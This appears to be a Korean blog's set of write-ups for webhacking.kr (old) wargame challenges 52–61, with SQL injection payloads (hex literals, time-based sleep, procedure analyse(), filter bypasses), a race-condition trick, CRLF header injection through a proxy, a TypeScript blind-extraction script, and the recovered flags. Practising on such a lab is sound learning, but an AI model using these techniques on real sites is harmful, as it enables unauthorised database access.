본문 바로가기

 

61번 마지막 문제에요~

배점은 200점, 분야는 DB에요.

 

 

소스보기 버튼만 있네요.

소스를 볼게요.

 

 

 

컬럼명을 입력받아서 값을 하나 출력하는데

그게 admin 이면 풀리네요.

 

 

?id=id

를 넣어보면?

 

 

test

 

컬럼 별칭을 이용해야 하는 문제에요.

select asdf id

를 하면

id 라는 컬럼에 asdf 라는 값이 들어가요.

 

 

그러니

?id=admin id

를 넣으면?

 

 

놀랍게도 아무일도 안일어나네요.

뭔가 모르는 필터가 작동하는게 아닌가 싶어서

 

 

admin을 16진수로 바꿔서

?id=0x61646d696e id 

를 넣으면?

 

 

빠밤!

 

문제가 풀렸네요.

 

이걸로 webhacking.kr (old) 는 끝~

suninatas.com 풀이에서 다시봐요.

댓글

 

60번 문제에요.

배점은 300점, 분야는 서버에요.


 

 

idx 와 Access Denied 를 띄우네요.

소스를 볼게요.

 

 

PHPSSID 가 숫자가 아니면 쫓아내고

1초 멈춘다음

mode 가 auth 일경우

./readme/{idx}.txt

를 열어서 내용을 읽고 파일을 지운다음

내용이 idx 이면 문제가 풀리는 코드를 실행하고,

./readme/{idx}.txt

 파일을 만들어서 안에다가 idx를 써넣어요.

그리고 1초 멈추고 파일을 지워요.

 

 

 

그러니 다른 세션을 만들어서 파일을 만들고 파일이 지워지기까지의 1초사이에 인증을 통과해버리면 풀리겠네요.

 

 

먼저 파이어폭스의 PHPSSID 를 1로 바꾸고

 

 

크롬을 켜서 PHPSSID 를 2로 바꾸고

 

접근해요.

 

 

 

 

그리고 크롬에서는 그냥 접근해서 파일을 만들고

 

연이어 파이어폭스에서는 인증으로 접근해서 인증을 하게하면?

 

빠밤!

 

문제가 풀렸네요.

댓글

 

59번 문제에요.

배점은 200점, 분야는 DB에요.

 

 

회원가입과 로그인이 있네요.

소스를 볼게요.

 

 

 

lv 'admin' 인 값을 집어넣은다음

그 값으로 로그인을 하면 되는군요.

 

코드를 봤을때 인젝션 포인트는 가입부분의 phone 인거같은데

 

공통으로 addslashes() 가 붙으며

phone 에는

admin 0x # hex char ascii ord select

가 필터링되고

20글자 이상이어도 걸러져요.

id 에는

admin

이 필터링되네요.

 

 

 

1q2w3e4r / 1234

로 가입을 하고

 

 

1q2w3e4r / 1234

로 로그인을 하면

 

 

로그인이 되죠.

 

phone 부분에 1,'admin')#

이 들어가게 하면 되는데

#이 필터링되니 -- 로 주석처리하고

' 를 못쓰는데 16진수로 우회를 하면 0x가 필터링되고

2진수를 사용하기에는 글자수 제한에 걸려요.

 

 

그러니 id 를 nimda 로 가입을 한다음

reverse(id)

1,'admin')--

이 되게 하고

 

 

nimda / 1

로 로그인을 해보면?

 

 

빠밤!

 

문제가 풀렸네요.

댓글

 

58번 문제에요.

배점은 150점, 분야는 JS인거같은데 왜 얘만 아이콘이 다르죠?

 

암튼 USER Console 래요.

 

아무거나 넣어보면

 

명령어를 찾을수 없대요.

 

help 를 넣어보면

 

이렇게 4개를 쓸수 있다네요.

 

 

 

각각

ls

id

flag

help

를 실행했을때 나오는 문구에요.

 

그럼이제 F12를 눌러서 소스를 보면

 

 

username 를 저렇게 지정해주네요.

 

그러니 피들러를 켜서

guest

admin

으로 바꾸면

 

 

FLAG{do_you_know_about_darkhotel}

 

이제 FLAG 를 Auth 에다가 넣으면?

 

빠밤!

 

문제가 풀렸네요.

댓글

 이번에도 음악과 함께 시작이에요.

눈치가 빠른 사람이라면 FLAG 가 뭔지 알수 있겠죠?

 

 

57번 문제에요.

배점은 600점, 분야는 DB에요.

 

입력창과 라디오버튼이 있네요.

소스보기를 눌러볼게요.

 

 

입력받은걸 DB에다가 집어넣는데 성공인지 실패인지도 안알려주고 1% 확률로 집어넣은게 다 날아가네요.

 

그러니 이런식으로 입력을 해도 들어갔는지 모른다는거죠.

암튼

저대로 보내보면

 

 

이런식으로 GET 로 보내주는데

1

자리에 저렇게 출력값이 없는곳에다가 집어넣는 단골손님

 

 

sleep(5)

를 넣어주면

5초뒤에 응답이 와요.

 

 

그러니 이런식으로 해서 조건이 맞으면 sleep가 작동하게끔 구문을 짜고 인젝션을 하면 되겠네요.

 

스크립트에 어차피 출력값이 없으니 __TRUE __FALSE 는 비워두고

조건이 맞으면 sleep(5) 가 되므로

__SLEEP 는 5로 해놓고 돌리면?

 

 

FLAG{Y2U.BE/KMPGJR0EL64}

 

그러니 저걸 Auth 에다가 넣으면?

 

빠밤!

 

문제가 풀렸네요.

 

그리고 유튜브 주소는 대소문자 구분하는데 저걸 어떻게 찾았냐고요?

다풀고 구글링해봤어요.

딱봐도 수상해보이잖아요.

댓글

 

56번 문제에요.

배점은 250점, 분야는 DB에요.

 

BBS 가 있네요.

hi~ 를 눌러보면

 

 

hello~

그러면 readme 를 눌러보면?

 

 

access denied

가 뜨네요.

 

 

search 기능에 뭔가 있겠다 싶어서

hello~ 의 일부인

he

를 넣어보면?

 

 

1번글이 뜨네요.

 

search 기능에 LIKE 연산자를 썼다고 가정하고 LIKE 연산자의 와일드카드인 _ 를 hello~ 보다 긴 7개를 넣어보면?

 

1번글만 뜨네요.

그렇다면 와일드카드를 적당히 이용해서 문제를 풀면 되겠네요.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import * as request from "request";
const __URL: string = "https://webhacking.kr/challenge/web-33/index.php";
var opt: request.CoreOptions;
var le: number = 0;
var card: string = "";
var card2: string = "";
function floop(i: number): void
{
    var tmp: string = "";
    for(var i2: number = 0; i2 < i; i2++)
    {
        tmp += "_";
    }
    opt = 
    {
        form:  
        {
            search: tmp
        }
    };
    request.post(__URL, opt, function(e: any, res: request.Response, body: any): void
    {
        if(String(res.body).indexOf("admin"== -1)
        {
            console.log(i - 1);
            le = i - 1;
            for(var i2: number = 0; i2 <= le; i2++)
            {
                card += "_";
            }
            floop2(148);
        }
        else
        {
            floop(i + 1);
        }
    });
}
function floop2(i: number, i2: number): void
{
    var tmp:string = card2 + String.fromCharCode(i2) + card.substring(i+1);
    if(String.fromCharCode(i2) == "_" || String.fromCharCode(i2) == "\\") floop2(i, i2 + 1);
    else
    {
        opt = 
        {
            form:  
            {
                search: tmp
            }
        };
        
        request.post(__URL, opt, function(e: any, res: request.Response, body: any): void
        {
            if(String(res.body).indexOf("admin"!= -1)
            {
                console.log(tmp);
                card2 += String.fromCharCode(i2);
                if(i != le) floop2(i + 148);
            }
            else
            {
                if(i2 != 127)
                {
                    floop2(i, i2 + 1);
                }
                else
                {
                    card2 += "_";
                    if(i != le - 1) floop2(i + 148);
                }
            }
        });
    }
}
floop(0);
cs

_ 를 하나씩 추가해가면서 길이를 알아낸다음,

문자를 하나씩 대입해서 값을 찾아내는 스크립트를 만들고 돌리면?

 

 

FLAG{HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?} 

:thinking:

 

 

암튼 저걸 Auth 에다가 넣으면?

 

빠밤!

 

문제가 풀렸네요.

댓글

 

55번 문제에요.

배점은 400점, 분야는 DB에요.

 

들어가자마자 이상한게 마우스를 쫓아오네요.

랭크를 눌러보면

 

 

뭔가의 랭킹이 있네요.

저기 INT_MAX 를 눌러보면

?score=

로 GET 를 날리면서 점수와 닉네임을 출력해요.

 

 

그리고 밑에는 코드 한줄이 적혀있네요.

대충 ID, 점수, FLAG 값을 집어넣네요.

 

그러면 이제 인젝션 포인트를 찾아보죠.

 

 

score 를 1 로 바꾸면

 

mpaljo112 // 1

 

score 를 if(true,2,1) 로 바꾸면?

 

jandi // 2

 

select database() 같은걸 집어넣으면

 

 

해킹하지 말래요.

select 가 금지인가봐요.

 

 

그러면 53번문제에서 썼던

1 procedure analyse()

를 넣어보면?

 

 

webhacking.chall55.id //

 

이거랑 limit 를 이용해서 컬럼명을 알아내야겠네요.

 

 

1 limit 1,1 procedure analyse()

를 넣어보면?

 

 

webhacking.chall55.score //

 

 

1 limit 2,1 procedure analyse()

를 넣어보면?

 

 

webhacking.chall55.p4ssw0rd_1123581321 //

 

그러면 이제 length 와 substr 를 이용해서 값을 뽑아내야하는데...

substr 이 필터링되요.

 

이럴땐

left() right() 함수를 이용해서 substr 처럼 작동하게 만들어주면 되요.

 

 

substr('ABCD',1,1)   =   right(left('ABCD',1),1)

를 넣으면 이런식으로

 

 

substr('ABCD',2,1)   =   right(left('ABCD',2),1)

를 넣으면 이런식으로 작동하게끔요.

 

 

그러니 스크립트에다 값을 집어넣고 돌리면?

 

FLAG{EASY_PEASY_LEMON_SQUEEZY!}

 

이제 FLAG 를 Auth 에다가 넣으면?

 

빠밤!

 

문제가 풀렸네요.

댓글

 

53번 문제에요.

배점은 100점, 분야는 컴퓨팅이에요.

 

 

Password is

옆에 문자들이 주루ㅜ루ㅜ루ㅜ루룩 지나간다음

?

로 바껴요.

 

피들러를 켜서 무슨 일이 일어나는지를 보니

 

 

/challenge/bonus-14/?m=

에다가 GET를 때려서 문자를 받아오나보네요.

 

 

그러니 저걸 TextView 로 읽어서 이어붙이면?

 

FLAG{a7981201c48d0ece288afd01ca43c55b}

 

이제 FLAG 를 Auth 에다가 넣으면?

 

빠밤!

 

문제가 풀렸네요.

댓글

 

53번 문제에요.

배점은 350점, 분야는 데이터베이스에요.

 

소스보기버튼 하나만 있네요.

눌러보면

 

 

가려진 테이블 이름을 알아내면 되는것같네요.

 

val 에 1을 넣으면

 

1이 출력이 되죠.

 

그런데 select 가 막혀있으니 information_schema 같은걸 쓸수 없다는건데

SQL 내장함수중에

procedure analyse()

라는게 있어요.

select a from {table} where a=1 procedure analyse()

가 들어오면

{DB}.{table}.{column}

식으로 반환해줘요.

 

 

그러니

select a from ???? where a=1 procedure analyse()

가 되도록 해주면?

 

 

webhacking.chall53_755fdeb36d873dfdeb2b34487d50a805.a

 

 

그러면 이제 answer 에다가 저 값을 집어넣으면?

 

 

빠밤!

 

문제가 풀렸네요.

댓글

 

52번 문제에요.

배점은 400점, 분야는 명령어 + DB 에요.

 

admin page 에 접근을 하래요.

게스트는 guest / guest

프록시를 주네요.

 

그냥 admin page 에 들어가보면

 

 

인증이 필요하대요.

 

guest / guest

를 넣어보면?

 

 

안뇽 게스트

넌 어드민이 아니야

래요.

 

거기에다가 괜히 프록시를 준것같지가 않아서

admin 으로 인증해야함 + 로컬로 접근해야함

두개를 다 만족시켜야 문제가 풀리나봐요.

 

그러면 이제 프록시를 볼게요.

 

 

흐ㅡㅡㅡㅡㅡ음

 

 

어디에 접근할건지를 get 방식으로 전달하니

?page=/admin/

으로 바꿔주면

 

 

인증이 없으니 로그인에 실패해요.

 

 

어떤식으로 인증이 이루어지는지 피들러를 켜서 보니

딱봐도 BASE64 처럼 생긴게 있네요.

 

 

디코딩을 해보면

id:pw

를 BASE64로 인코딩해서 넘긴다는걸 알수있네요.

 

그러면 인증이 어떤식으로 돌아가는지도 알았으니

프록시 헤더를 건들여서 인증을 해야겠네요.

 

 

/admin/ HTTP/1.1%0d%0aCookie: PHPSSID=...

%0d%0a 로 개행해서

필요한 헤더를 채워넣고

마지막에 %0d%0a%0d%0a 로 요청을 끝내버리면?

 

 

guest 로 로그인이 됬네요.

 

그러면 이제

admin' #:aaa

를 BASE64로 인코딩해서

select {????} from {table} where id='admin' #' and pw='aaa' 

가 되게끔

 

 

헤더에 넣어주면?

 

FLAG{Server_Side_Request_Forgery_with_proxy!}



이제 FLAG 를 Auth 에다가 넣어주면?



빠밤!

문제가 풀렸네요.

댓글